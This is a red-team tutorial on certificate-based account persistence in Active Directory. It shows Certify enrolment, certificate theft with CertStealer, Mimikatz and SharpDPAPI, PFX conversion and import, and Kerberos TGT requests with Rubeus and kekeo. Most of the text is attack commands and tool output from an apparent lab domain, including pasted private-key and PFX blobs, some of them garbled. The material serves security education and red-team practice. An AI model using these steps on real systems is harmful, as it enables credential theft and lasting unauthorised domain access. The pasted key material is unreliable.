

Account Persistence – Certificates

It is not uncommon organizations to implement an internal certification authority in order to establish trust between entities (users, computers etc.) or utilize it for user authentication. Implementation of a certification authority requires installation of Active Directory Certificate Services (AD CS) which can be done in the domain controller or in a different server which will be integrated with the Active Directory (Enterprise CA).

As with many Microsoft components and features Active Directory Certificate Services is not secured in their default state. [Will Schroeder](#) and [Lee Christensen](#) released a paper called [Certified Pre-Owned](#) which contain details about how Active Directory Certificate Services can be abused for credential theft, machine persistence, domain escalation and domain persistence. Furthermore, attacks against AD CS are less likely to be detected since it is a domain that hasn't been explored in depth compare to other techniques.

In networks that a Certification Authority is present red teams could use it to achieve long-term persistence on the system by obtaining a certificate either as the current user account or as a machine account. The certificate validity period is typically 1 year and it is not correlated to any password changes. Therefore this method can be used as a persistence since the NTLM hash of the user can be requested, retrieved and cracked. This technique give the flexibility to red teams to move away from traditional operations which require interaction with the “LSASS” process in order to dump password hashes. Retrieving a certificate can be achieved in two ways:


1. Certificate Enrollment
2. Certificate Extraction

Certificate Enrollment

Non-privileged users can request a certificate from the Enterprise Certificate Authority for any of the existing templates which are available for enrollment. [Certify](#) can query LDAP in order to list templates which allow domain users to enroll.

```
Certify.exe find /clientauth
```

```
C:\Users\pentestlab.PURPLE>Certify.exe find /clientauth
```



```
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=purple,DC=lab'

[*] Listing info about the Enterprise CA 'purple-PRINTER-CA'

Enterprise CA Name      : purple-PRINTER-CA
DNS Hostname           : printer.purple.lab
FullName               : printer.purple.lab\purple-PRINTER-CA
Flags                  : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName       : CN=purple-PRINTER-CA, DC=purple, DC=lab
Cert Thumbprint        : 95003C1188ED3AEF6E480B3B849A4DE226F59980
Cert Serial            : 719A8763CC93FD9F4A6A9E1B12508A4B
Cert Start Date        : 8/8/2021 8:37:39 μμ
Cert End Date          : 8/8/2026 8:47:38 μμ
Cert Chain              : CN=purple-PRINTER-CA,DC=purple,DC=lab
```

Certify – Discovery of Certificates that allow Client Authentication

```
[*] Listing info about the Enterprise CA 'purple-CA'

Enterprise CA Name      : purple-CA
DNS Hostname           : ca.purple.lab
FullName               : ca.purple.lab\purple-CA
Flags                  : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName       : CN=purple-CA, DC=purple, DC=lab
Cert Thumbprint        : 6698F67C0111105EAE577326F53E63C907CE5D76
Cert Serial            : 1B48B2153C199181481EEBB93589DD29
Cert Start Date        : 24/8/2021 11:50:00 μμ
Cert End Date          : 25/8/2026 12:00:00 πμ
Cert Chain              : CN=purple-CA,DC=purple,DC=lab
UserSpecifiedSAN       : Disabled
CA Permissions         :
  Owner: BUILTIN\Administrators S-1-5-32-544

Access Rights           Principal

Allow ManageCA, ManageCertificates, Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
[!] Low-privileged principal has ManageCA rights!
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates PURPLE\Domain Admins S-1-5-21-552244943-2733646151-2332
415024-512
Allow ManageCA, ManageCertificates PURPLE\Enterprise Admins S-1-5-21-552244943-2733646151-2332
415024-519
Enrollment Agent Restrictions : None
```

Certify – Enterprise CA Information

By default domain users have enrollment rights over the template “User” as it can be displayed in the output. Furthermore, certificates which are issued have a validity period of 1 year.

```

CA Name : ca.purple.lab\purple-CA
Template Name : User
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
mspkI-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Ασφαλές ηλεκτρονικό ταχυδρομείο, Έλεγχος ταυτότητας υπολογιστή-πελάτη, Σύστημα αρχείων κρυπτογράφησης
Permissions
  Enrollment Permissions
    Enrollment Rights : PURPLE\Domain Admins S-1-5-21-552244943-2733646151-2332415024-512
                     : PURPLE\Domain Users S-1-5-21-552244943-2733646151-2332415024-513
                     : PURPLE\Enterprise Admins S-1-5-21-552244943-2733646151-2332415024-519
  Object Control Permissions
    Owner : PURPLE\Enterprise Admins S-1-5-21-552244943-2733646151-2332415024-519
    WriteOwner Principals : PURPLE\Domain Admins S-1-5-21-552244943-2733646151-2332415024-512
                        : PURPLE\Enterprise Admins S-1-5-21-552244943-2733646151-2332415024-519
    WriteDacl Principals : PURPLE\Domain Admins S-1-5-21-552244943-2733646151-2332415024-512
                        : PURPLE\Enterprise Admins S-1-5-21-552244943-2733646151-2332415024-519
    WriteProperty Principals : PURPLE\Domain Admins S-1-5-21-552244943-2733646151-2332415024-512
                          : PURPLE\Enterprise Admins S-1-5-21-552244943-2733646151-2332415024-519

```

Certify – Domain Users Enrollment Rights

Since the Certificate Authority and the template has been identified executing the following will enroll the current user and a new certificate will be issued.

```
Certify.exe request /ca:ca.purple.lab\purple-CA /template:User
```

```
C:\Users\pentestlab.PURPLE>Certify.exe request /ca:ca.purple.lab\purple-CA /template:User
```

```

  _ _ _ _ _
 / _ _ _ \   ( ) / _
| | _ _ _ |   | | _ _
| | _ _ _ |   | | _ _
 \ _ _ _ /   \ _ _ _
  _ _ _ _ _   _ _ _ _
v1.0.0

[*] Action: Request a Certificates

[*] Current user context      : PURPLE\pentestlab
[*] No subject name specified, using current context as subject.

[*] Template                  : User
[*] Subject                   : CN=pentestlab, CN=Users, DC=purple, DC=lab

[*] Certificate Authority     : ca.purple.lab\purple-CA

[*] CA Response               : The certificate had been issued.
[*] Request ID                : 18

[*] cert.pem                  :

```

Certify – Certificate Enrollment User

The private key and the certificate will be displayed in .pem formatted block of text.

```
-----BEGIN CERTIFICATE-----
MIIFvDCCBKsGAwIBAgITXQAAAAab6P3TrWmH/AAAAAABjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLQGByRDbGFIMRYwFAYKCZImiZPyLQGByRGChVycGx1
MRUwEwYDVQQDEwxdXJwbGUtREMTQ0EwHhcNMjEwODI2MDYyMjAzWhcNMjEwODI2
MDYyMjAzWjBSMRMwEQYKCZImiZPyLQGByRDbGFIMRYwFAYKCZImiZPyLQGByRG
ChVycGx1MQ4wDAYDVQQDEwVVC2Vyc2ETMBEGA1UEAxMKcGVudGVzdGxhYjCCASIW
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALjcw1VP4UXswfJr1L9KJXZC84TM
w8BerFdxIC/bHEfiwy2xJcPQYhyw9AK69TeDIS3WAhWRWPdKaGDPVO0hnKuSurZL
OxNot7kH0AJ70DnPCRZI4u3XgiLJW/mo2Jza4LDwoqq03Idjga9oFNvx7f/x63mK
c/UwV9vNyEjnjM0Rv53z3c7q/fBuIIK1AwaZYf7VI0HltoVIRsDrKs/g1j0Zp76
ljkwN9V8rYShQ6XuL72D+ASQY66pc8dVNkOEN1/keCYh6i4L8vLgjf00icLh59NW
vZ0ajzkGruooSasToJ4KPLoT1U9JHkwpdsXBIL4zdHih8HCORw5K1FcFV5ECAwEA
AaOCAPcwggKTMBcGCsGAQQBgjcUAQKHHggAVQBzAGUAcjApBgNVHSUEIjAgBgor
BgEEAYI3CgMEBggrBgEFBQcDBAYIKwYBBQUHAWIwDgYDVR0PAAQH/BAQDAgWgMEQG
CSqGSIb3DQEJDDwQ3MDUwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAH
BgUrDgMChBzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQUvVjwQhB18SFPk7UJ0n3bw0lz
sF8wHwYDVR0jBBgwFoAUoa59T60PxHW3erKZNIDpUpn+bCUwgcQGA1UdHwSBvDCB
uTCBtqCBs6CBsIaBrWxkYXA6Ly8vQ049cHVycGx1LURDLUNBLNENOPWRjLENOPUNE
UCXDtj1QdWJsawMlMjBLZXklMjBTZXJ2aWNLcyxDTj1TZXJ2aWNLcyxDTj1Db25m
aWdlcmF0aW9uLERDPXB1cnBsZSxEXz1sYWl/Y2VydgGlmawNhdGVsZXZvY2F0aW9u
TGldZD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvb1BvaW50MIG9Bggr
BgEFBQcBAQSBsDCBrTCBqgYIKwYBBQUHMAKGz1sZGFwOi8vL0NOPXB1cnBsZS1E
Qy1DQSxDtj1BSUESQ049UHVibG1jJTIwS2V5JTIwU2Vydm1jZXMsQ049U2Vydm1j
ZXMsQ049Q029uZmlndXJhdGlvbixEXz1wdXJwbGUuREM9bGFiP2NBQ2VydgGlmawNhdGU/
YmFzZT9vYmplY3RDbGFzc21jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MDAGA1Ud
EQQPMCEgJQYKKwYBBAGCNxQCA6AXDBVwZW50ZXN0bGFiQHB1cnBsZS5sYWlwdQYJ
KoZIhvcNAQELBQADggEBAABJ7M46bw4c2UwBF4A+SgBCBdXYt0JC36SPZe8tBHGG
oImE8pB+nK4ZGpGW2AKNe8lBaLB1DI2kx8lfuEjqp2gqnXXe2FLdrYlshFIXwR1L
fv7vC5+G8EtbTuaJIu9SK+URFCJSQICOF0TcHwCcKdg/pIV6P1gV8Kr3sL4YaLma
```

Certify – Certificate

Similarly privileged accounts (Administrator) could request certificates for the machine account by executing Certify with the *"/machine"* argument from an elevated command prompt. This could allow authentication to be performed as the machine account.

```
Certify.exe request /ca:ca.purple.lab\purple-CA /template:Machine /machine
```

```
C:\Users\pentestlab.PURPLE>Certify.exe request /ca:ca.purple.lab\PURPLE-CA /template:Machine /machine
```

```
v1.0.0
```

```
[*] Action: Request a Certificates  
[*] Elevating to SYSTEM context for machine cert request  
  
[*] Current user context      : NT AUTHORITY\SYSTEM  
[*] No subject name specified, using current machine as subject  
  
[*] Template                  : Machine  
[*] Subject                   : CN=Hive.purple.lab  
  
[*] Certificate Authority     : ca.purple.lab\PURPLE-CA  
  
[*] CA Response               : The certificate had been issued.  
[*] Request ID                : 17  
  
[*] cert.pem                  :
```

Certify – Certificate Enrollment Machine

Certificate Extraction

In a corporate environment users or computers might have certificates issued to them. These could be extracted in order to avoid using certificate enrollment. CertStealer is a C# tool which can export certificates from in-memory beacons without touching disk. Executing the following command will list all the certificates which are installed locally.

```
CertStealer.exe --list
```

```
C:\Users\pentestlab.PURPLE>CertStealer.exe --list
```

```
Existing Certs Name and Location
```

```
-----
```

No		AddressBook, CurrentUser
Yes	8	AuthRoot, CurrentUser
Yes	3	CA, CurrentUser
Yes	0	Disallowed, CurrentUser
Yes	1	My, CurrentUser
Yes	19	Root, CurrentUser
Yes	0	TrustedPeople, CurrentUser
Yes	0	TrustedPublisher, CurrentUser
No		AddressBook, LocalMachine
Yes	8	AuthRoot, LocalMachine
Yes	3	CA, LocalMachine
Yes	0	Disallowed, LocalMachine
Yes	1	My, LocalMachine
Yes	19	Root, LocalMachine
Yes	0	TrustedPeople, LocalMachine
Yes	0	TrustedPublisher, LocalMachine

CertStealer – List all Certificates

Information related to the certificates installed will be displayed in the console. This will include the Issuer, the validity period and the thumbprint.

```

-----
Details:

[Subject]
    CN=pentestlab, CN=Users, DC=purple, DC=lab

[Has Private Key]
    True

[Version]
    3

[Issuer]
    CN=purple-CA, DC=purple, DC=lab

[Serial Number]
    4C0000001230A27E0C25844FF3000100000012

[Not Before]
    30/8/2021 3:12:49 μμ

[Not After]
    30/8/2022 3:12:49 μμ

[Thumbprint]
    776B5F58DAA7C66922F4D0030C602A6F659AB0CD

```

CertStealer – Certificate Details

Certificates which are stored for the current user can listed into the console as base64 by executing the following:

```
CertStealer.exe --name user --store My --list
```

```

C:\Users\pentestlab.PURPLE>CertStealer.exe --name user --store My --list

Existing Certs Name and Location
-----
Yes      1  My, CurrentUser

All Certificate Details
-----
-----
Details:

[Subject]
    CN=pentestlab, CN=Users, DC=purple, DC=lab

[Has Private Key]
    True

[Version]
    3

[Issuer]
    CN=purple-CA, DC=purple, DC=lab

[Serial Number]
    4C0000001230A27E0C25844FF3000100000012

```

CertStealer – Current User Certificates

[illegible]

CertStealer – Serialized Certificate

Certificates can be also exported in PFX format by specifying the thumbprint.

```
CertStealer.exe --export pfx <Certificate-Thumbprint>
```

```
C:\Users\pentestlab\PURPLE>CertStealer.exe --export pfx 776B5F58DAA7C66922F4D0030C602A6F659AB0CD
-----
Details:

[Subject]
    CN=pentestlab, CN=Users, DC=purple, DC=lab

[Subject Distinguished Name]
    CN=pentestlab, CN=Users, DC=purple, DC=lab

[Friendly Name]

[Archived]
    False

[Has Private Key]
    True

[Version]
    3

[Issuer]
    CN=purple-CA, DC=purple, DC=lab

[Issuer Distinguished Name]
    CN=purple-CA, DC=purple, DC=lab
```

CertStealer – Export Certificate as PFX

An alternative approach is to use the CryptoAPI which interacts with the certificate store in order to export a certificate. [Benjamin Delpy](#) has implemented a module in [Mimikatz](#) which patches CryptoAPI into the current process and allows certificates and their private keys to be exported locally on the current folder.

```
crypto::capi
crypto::certificates /export
```



```

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi' ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

mimikatz # crypto::certificates /export
* System Store : 'CURRENT_USER' (0x00010000)
* Store : 'My'

0. dc.purple.lab
Subject : CN=dc.purple.lab
Issuer : DC=lab, DC=purple, CN=purple-CA
Serial : 0e0000001006064a5f9f735028a0e000004c
Algorithm: 1.2.840.113549.1.1.1 (RSA)
Validity : 25/8/2021 12:20:48 µm -> 25/8/2022 12:20:48 µm
Hash SHA1: ebfdfd53e989efbf9e474d59bf645333e38560fe
Key Container : {9901A246-637D-4BC0-BF2B-6608F8DC2A73}
Provider : Microsoft Enhanced Cryptographic Provider v1.0
Provider type : RSA_FULL (1)
ERROR kuhl_m_crypto_l_certificates ; CryptAcquireCertificatePrivateKey (0x80090016)
Public export : OK - 'CURRENT_USER_My_0_dc.purple.lab.der'
Private export : ERROR kull_m_crypto_exportPfx ; PFXExportCertStoreEx/kull_m_file_writeData (0x80090016)

```

Mimikatz – Patch CAPI & Export Certificates

```

1. pentestlab
Subject : DC=lab, DC=purple, CN=Users, CN=pentestlab
Issuer : DC=lab, DC=purple, CN=purple-CA
Serial : 12000000100f34f84250c7ea230120000004c
Algorithm: 1.2.840.113549.1.1.1 (RSA)
Validity : 30/8/2021 3:12:49 µm -> 30/8/2022 3:12:49 µm
UPN : pentestlab@purple.lab
Hash SHA1: 776b5f58daa7c66922f4d0030c602a6f659ab0cd
Key Container : {2C3C7DB4-654D-4A06-944B-020A598F2475}
Provider : Microsoft Enhanced Cryptographic Provider v1.0
Provider type : RSA_FULL (1)
Type : AT_KEYEXCHANGE (0x00000001)
|Provider name : Microsoft Enhanced Cryptographic Provider v1.0
|Key Container : {2C3C7DB4-654D-4A06-944B-020A598F2475}
|Unique name : 7f19ceff2b1ce95a9e4d3e0dfbd60660_2d46d6d4-0481-41d2-858d-b3fdf304a799
|Implementation: CRYPT_IMPL_SOFTWARE ;
Algorithm : CALG_RSA_KEYX
Key size : 2048 (0x00000800)
Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
Exportable key : NO
Public export : OK - 'CURRENT_USER_My_1_pentestlab.der'
Private export : OK - 'CURRENT_USER_My_1_pentestlab.pfx'

```

Mimikatz – Export Current User Certificate

Certificates for the machine account could be exported using the Data Protection API (DPAPI). Mimikatz has support for DPAPI but this has been also implemented in [SharpDPAPI](#) project. Executing the following command from an elevated session will escalate automatically to SYSTEM in order to retrieve the “*DPAPI_SYSTEM*” LSA secret. By using this information the DPAPI master keys will be recovered with the private key and the certificate to be exported in the console.

```
SharpDPAPI.exe certificates /machine
```



```
C:\Users\pentestlab.PURPLE>SharpDPAPI.exe certificates /machine
```

```
SharpDPAPI
v1.11.1
```

```
[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: 1BFEFF1FA7A11CAA7D10B0ECA19CC31D22FF18B223AD4308D39B7D82A18E53F048648AC76AA84A37
[*] m/u : 1BFEFF1FA7A11CAA7D10B0ECA19CC31D22FF18B2 / 23AD4308D39B7D82A18E53F048648AC76AA84A37

[*] SYSTEM master key cache:

{05fae8dc-5673-4438-b490-1a1d2f49f36d}:883861DCE7FCCD0758FF795D90EF1D6C70D68742
{92ca77d1-9836-4993-a4fd-136ddb88fd4}:3AA23314A654946CDEF71F1B9335DCB59B88B703
{5a8fbbcd-2bd4-4864-ba84-19a28c0483f3}:31C11DDE2FBF2759F5046418A84F68E1AEDA1A58
{d103e6a1-a6ad-436f-b9d1-d113dda5598d}:EB1B6948BAF69372014D1F8459CB3D171CE4CBE9
```

SharpDPAPI – Export Machine Certificate

```
File : 9bbf4a9c9f6b5f889b4cd13df0d53e25_2d46d6d4-0481-41d2-858d-b3fdf304a799

Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {92ca77d1-9836-4993-a4fd-136ddb88fd4}
Description : Ιδιωτικό κλειδί CryptoAPI
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : 9f14e30346107dd870049bd3e9765d05
HMAC : e3eb70a5b729b62e652bfbbdd280405ee
Unique Name : {9269BF61-D5EF-4937-B48D-1991B585B167}

Thumbprint : 654AD289F1BA3A3E3DCE64EEF41C59D2956286AB
Issuer : CN=purple-CA, DC=purple, DC=lab
Subject : CN=Hive.purple.lab
Valid Date : 30/8/2021 9:37:39 μμ
Expiry Date : 30/8/2022 9:37:39 μμ

[*] Private key file 9bbf4a9c9f6b5f889b4cd13df0d53e25_2d46d6d4-0481-41d2-858d-b3fdf304a799 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7n+T77MDAD70buoWuKDI5XLIYnuHbVdzeBt2LzbXtnULChTU
3jgBugpkIbzRe+XxPbxuv1ApDlQZZ2/l0mEjQk1bxDVZzv/wjiR1qk6AbbwKBG17
bLwsFjvRXYPKwEz8ERVOND1JUC8QFJugQ0Sta9Tk24273japInnEXvouMjLYK+c
wrs/urcIsLBp4X6Wb0swG4ew+y42G1FwLVLILJibe31jpfuh441lmiOpxqk+8+mj
kOvDaHV1Lxh9+uZb/7m41mJyAioJkyicQoH27Au/DTj+sRSUE1fVqMCYkrnwdFAU
rdH6J1UtHhC6w2LczW7j6x5qXdp9h2Gp8N/TiQIDAQABAoIBAGZavkSa00jkC3gy
YnnuFwnR2h/PQJm+dEHR11D/+mfFp202L30HEEalev+3pzfDIVtbaTON91a85QIt
VbaKFbW4uW91bhux8jBAPaMJjXyA2KNCBLMVydbmKjHjNYms+8rvb1NMRzHwYLh
```

SharpDPAPI – Export Machine Certificate

User Account Persistence

Certificates that have been exported in .pem format could be converted to .pfx in order to be compatible with Rubeus and installed directly into the certificate store. This is because certificates in .pfx format are similar to archives and contain all the necessary information to be deployed on the system.

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic
Providerv1.0" -export -out cert.pfx
```

```
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. Με επιφύλαξη κάθε νόμιμου δικαιώματος.

C:\Users\pentestlab.PURPLE>openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0"
-export -out cert.pfx
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:
unable to write 'random state'

C:\Users\pentestlab.PURPLE>_
```

Convert Certificate to PFX format

Certificates that have been obtained as base64 format could be imported by using the following command from CertStealer (current user):

CertStealer.exe --import My user <base64-certificate>

```
C:\Users\pentestlab.PURPLE>CertStealer.exe --import My user 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
```

CertStealer – Import Certificate in Current User

```
kumxAltKd2Hx8vCCjmc2NfKfUJ8bDVUpkwVdnm5VYZDY5XI1b3EB9L2ZlF80sEKrDZ8IOZ0bQACHHSTdcuK9TwvdIjGCTicKFgKiK0+3r1RSHgkL/T5N35Ek8ZC1Lmf1ZPwMMrYC+BK3koIk+LuzMubzM6JfpgGtXZ0VDQDToztSMFFHioMwDlqiHKBoIzroWyyhOksa/DzcSmpB0EZqo8rcz6SR1XPNEg6L+yYnSR014a0a+Nws69jp+aX8A7LRXyYcDn1wd5de3VCgmB1WQfLI5uSnG20dC5KXi03p6+il/Q6N50rKe0vQyT7o2cn3Dz6gU0A04L21hWJEWIzbraizVzo98FS2IQ041L0KDYZE3VEYxf6LskU1PZUC0esMU0LgieJiIrgHvzt7YQ0l7B2lIvuaA9JLfofhuDfuobHcNl0SDxe009eMi74+pIoXiV7LVJpP8c3VX3eqXugJ39B5l/pufNdMGY9wbYhb3L6ygs/APTXvpTyGgmyd1U4r5dmuFDTinPgFx+lq9hGtZLQH1cI9YumcG+glTaw98pj7F3X5xszs+QT9wD8RfQ6Mx7jN1RBCApVAHMK1L7FsrFyp21Fhzr1x+v3MSUwIwYJKoZIhvcNAQcVMRYEFOv9/VPpie+/nkdNwb9kUzPjhWd+MC0wITAjBgUrDgMCGUABBTSpkF63Jc7iUnHIQyvtUv4tXz1lAQIKKINBACqjhm=
Certificate read successfully.
Opened store: My
Added certificate to store successfully!

C:\Users\pentestlab.PURPLE>_
```

CertStealer – Import Certificate to Store

A Ticket Granting Ticket (TGT) can be requested with Rubeus from the Kerberos Key Distribution Center (KDC) for the enrolled user. Rubeus supports Public Key Cryptography for Initial Authentication (PKINIT) therefore the certificate in .pfx format that has been retrieved or obtained via enrollment can be used for kerberos authentication.

Rubeus.exe asktgt /user:pentestlab

/certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password:Password123

[illegible]

doIFkYCCBY6gAwIBBAEDAgEwoIEqzCCBKdhggSjMIIEEN6ADAgEfoQwbCBIVU1BMRSSMQUKiHzAdoAMC
AQkHfJAUGWZrCmJGZ3bQbCNb1cnB5Z55YkKjggRnMIIEY6ADAgEfoQwCMAQKigggRVB1EUAUDDfKjQ36W
a5CLUEtneFGKNGe3bQbQTtfcFw4UiaAaV9YHfRfKwBWWPQiLi9mkRCE2xwHvBSGZ4Auwduh+ykeben
AICOMxy6E0FWfzkCkRnZwnp5S2/mx+ARQXjZvPZyZyUD/MPvX9RQq5oZ7Xe0m+ceidXuyoX8b8f8Ue
xXf5ZaWyHpwvVmc3HyBms783HeXnjmknaUz1ptqWoudxGRORZQsoj4TqaLJq3FEiMeOfvVwiJF

```

kekeo # tgt::ask /pfx:doIFkCCBY6gAwIBBaEDAgEwoIEqzCCBKdhggSjMIIEn6ADAgEFoQwC1BVU1BMRSS5MQUKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3
QbCnB1cnBsZS5sYWKjggRnMIIIEY6ADAgESoQMCAQKiggrVBIIIEUDDFKqJ036Wa5CLuEtneFqNKge68gBuQTftkeFew4UiAaV9YYhRFkWBWWPQiLI9mkRcE2
xwHvsGZ4AwTg8+uH+yeonAICOMxiGy6E0FwFkzCkRnZwnpgwS2/mxT+RQXjuVvZzyYnd/MPvX9QKQ5oZ7Xe0M+ceidXuyoX8bf8UexFx5ZaWYHpwVWc3Hy
